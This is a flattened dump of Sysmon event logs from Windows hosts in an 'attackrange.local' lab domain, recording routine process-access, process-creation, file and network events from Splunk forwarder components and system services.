14:50:34.117{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014957Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.117{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014956Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.117{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014955Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.117{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-70BA-613B-C104-00000000F101}3716C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014954Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.117{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70BA-613B-C104-00000000F101}3716C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014953Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.118{625C326B-70BA-613B-C104-00000000F101}3716C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:35.478{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9CEBE7967D8A242FAA36F85B50A7608C,SHA256=32907D96678C0D46BCCAE8DBCFD4C9FA00F84016689F09ADFB7CB256D9FC77EA,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014998Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.945{625C326B-70BB-613B-C304-00000000F101}3728696C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000014997Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.505{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50193-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000014996Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.695{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70BB-613B-C304-00000000F101}3728C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014995Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.695{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014994Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.695{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014993Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.695{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014992Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.695{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014991Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.695{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014990Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.695{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014989Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.695{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014988Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.695{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014987Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.695{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014986Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.695{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-70BB-613B-C304-00000000F101}3728C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014985Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.695{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70BB-613B-C304-00000000F101}3728C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014984Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.696{625C326B-70BB-613B-C304-00000000F101}3728C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014983Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.539{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1FFC908E887974C72019AFCF124C5C19,SHA256=60E6C4A4C957B9639BD92C285EE6455A67B0BC9BB26508899014CCD380937E93,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014982Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.445{625C326B-70BB-613B-C204-00000000F101}19562812C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014981Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.195{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70BB-613B-C204-00000000F101}1956C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014980Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014979Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014978Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014977Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014976Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 